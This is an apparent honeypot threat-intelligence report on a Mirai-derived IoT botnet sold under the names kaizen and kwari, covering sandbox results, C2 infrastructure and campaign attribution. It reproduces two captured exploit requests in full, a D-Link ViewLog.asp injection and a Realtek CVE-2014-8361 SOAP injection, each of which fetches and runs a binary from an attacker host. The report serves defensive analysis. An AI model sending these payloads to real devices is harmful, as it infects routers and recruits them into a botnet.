KAIZEN / KWARI — IoT botnet campaign

A Mirai-derived IoT botnet has been showing up on our sensors under two different names, kaizen and kwari, launched from separate exploits and separate servers but landing on the same command-and-control host. The operator is still building: a new binary and a new distribution server appeared the same day this report was written, and one sample carries an anti-analysis tag we don't usually see in run-of-the-mill Mirai forks.

Between 2026-05-25 and 2026-06-23, the cowrAI honeypot fleet observed a coordinated IoT exploitation campaign distributing Mirai-lineage binaries under two distinct naming conventions: kaizen.* and kwari.*. The campaign targets embedded devices via two pre-authentication remote code execution vulnerabilities: a D-Link DSL-2750B syslog command injection (140 events, 19 scanner IPs) and the well-known Realtek miniigd UPnP SOAP injection (CVE-2014-8361, 51 events, 12 scanner IPs).

Sandbox detonation of four samples spanning four architectures (kwari.x86, kwari.mips, kwari.arm7, kwari.mpsl) confirmed live C2 connectivity to 185.234.100.154:2310, the same IP serving binary downloads, with each sample running for the full 300-second observation window and generating 11–14 MB of C2 beacon traffic. The sandbox is not x86-only — 9 of the 13 collected binaries executed across x86, MIPS, MIPSEL, ARM, and SH4.

Infrastructure is actively expanding: a fourth distribution node (196.251.121.142) was observed today (2026-06-23) serving the latest kaizen.arm7 build. The dual naming and separate distribution paths suggest either two operators sharing C2 infrastructure or a single operator using naming to track separate exploitation campaigns. The defense_evasion triage tag, unusual for run-of-the-mill Mirai forks, warrants attention.

Sandbox detonation results

The sandbox is not x86-only — it emulates x86, MIPS, MIPSEL, ARM, and SH4. 9 of the 13 collected binaries booted and executed; 4 of those (spanning four different architectures) ran for the full 300-second observation window and beaconed multiple megabytes of traffic to the same C2. The remaining 5 that executed exited within seconds with only a few KB of traffic and no confirmed C2 contact. kwari.spc (SPARC) and all three kaizen.arm7 hash variants failed to detonate outright — SPARC isn't a supported sandbox architecture, and the kaizen.arm7 builds hit a worker exception during architecture detection (not simply "ARM unsupported": four other ARM builds ran fine).

Four samples — spanning x86, MIPS, ARM, and MIPSEL — independently confirm the same C2 at 185.234.100.154:2310, running the full 300s timeout with 11–14 MB of beacon traffic each, characteristic of Mirai keep-alive with DDoS target lists. The five samples that exited early with near-empty pcaps likely failed to reach a working C2 from these builds/architectures rather than being benign — none produced meaningful network activity to analyze further.

Defense evasion tag: unusual for Mirai forks

tria.ge flags both scanned kaizen.arm7 builds (b3f594... and e8aef7...) with defense_evasion alongside discovery — neither carries the botnet:kaizen tag that tria.ge assigns to the kwari.* samples. Vanilla Mirai forks typically only trigger execution and c2 tags. Defense evasion suggests possible anti-analysis code (VM detection, sleep-before-connect, or signal-based anti-debugging) not present in the canonical Mirai codebase. Further static analysis warranted.

Vector 1: D-Link DSL-2750B ViewLog.asp syslog command injection

Scanner: 176.65.139.22. Targets the /cgi-bin/ViewLog.asp remote-syslog configuration handler — a plain form POST, not the HNAP1 SOAP interface (an earlier draft of this report mislabeled the vector as HNAP; the captured traffic never touches /HNAP1/). The remote_host parameter accepts shell metacharacters without sanitization. URL-encoded semicolons (%3b) terminate the expected value and inject arbitrary commands. No authentication required.

POST /cgi-bin/ViewLog.asp HTTP/1.1
Host: 127.0.0.1
User-Agent: r00ts3c-owned-you
Content-Type: application/x-www-form-urlencoded
Content-Length: 204

remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&
LogFlag=0&remote_host=%3bcd+/tmp;wget+http://83.142.209.46/a3f8d2/kaizen.arm7;
chmod+777+kaizen.arm7;./kaizen.arm7;rm+-rf+kaizen.arm7%3b%2

Decoded injection: ; cd /tmp; wget http://83.142.209.46/a3f8d2/kaizen.arm7; chmod 777 kaizen.arm7; ./kaizen.arm7; rm -rf kaizen.arm7

Vector 2: Realtek miniigd UPnP SOAP injection (CVE-2014-8361)

Scanners: 177.22.44.30, 176.65.139.22. Targets Realtek SDK UPnP daemon (port 52869 or 37215). The NewInternalClient SOAP field is passed to a shell without sanitization. Backtick injection executes arbitrary commands as root. Binary launched with arg realtek for Mirai-style self-replication tracking.

POST /picdesc.xml HTTP/1.1
SOAPAction: "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"

<NewInternalClient>`cd /tmp; rm -rf kaizen.mips; wget http://83.142.209.46/a3f8d2/kaizen.mips;
chmod 777 kaizen.mips; ./kaizen.mips realtek`</NewInternalClient>

The realtek arg in ./kaizen.mips realtek follows Mirai convention: argv[1] identifies the infection vector for operator reporting.

Distinct from the FROSTY campaign

The FROSTY campaign (also tracked by this fleet) shares the Realtek CVE-2014-8361 vector but is otherwise distinct: FROSTY additionally exploits CVE-2017-17215 (Huawei HG532), uses entirely different distribution infrastructure, has a single primary sample consistently at 41/62 VT detections (vs 27–44 across the four KAIZEN/KWARI samples scanned so far, with 9 more still unscanned), and routes C2 through a separate IP space. Binary naming conventions (frosty.* vs kaizen.*/kwari.*), distribution paths, and C2 endpoints are all different. These are unrelated operators.

Dual naming hypothesis

The kaizen.* and kwari.* naming across separate distribution IPs suggests either: (a) two operators sharing the same C2 infrastructure at 185.234.100.154:2310, each naming their build separately, or (b) a single operator using naming to differentiate exploitation campaigns (kaizen = CVE-targeted, kwari = SSH brute-force). The co-located C2 endpoint favors (b). The Japanese word "kaizen" (改善, continuous improvement) as a botnet name is an unusual choice.

Data collected passively by the cowrAI distributed honeypot fleet, deployed across multiple cloud providers in Europe, North America, and Asia-Pacific. Nodes run SSH/Telnet lures plus alt-protocol lure daemons including apachelure (port 80), which captured the D-Link ViewLog.asp injection, and soaplure (ports 7547, 37215, 52869), which captured the Realtek UPnP SOAP injection.

Binaries are automatically retrieved by a chase-runner sidecar (5-minute polling interval), SHA256-hashed, stored in R2, and submitted to VirusTotal and tria.ge. Confirmed samples are detonated in an isolated sandbox using WARP-egress with network capture.

This brief was generated from live sensor data collected between 2026-05-25 and 2026-06-23. All IOCs are derived from direct honeypot captures — no third-party threat feed enrichment.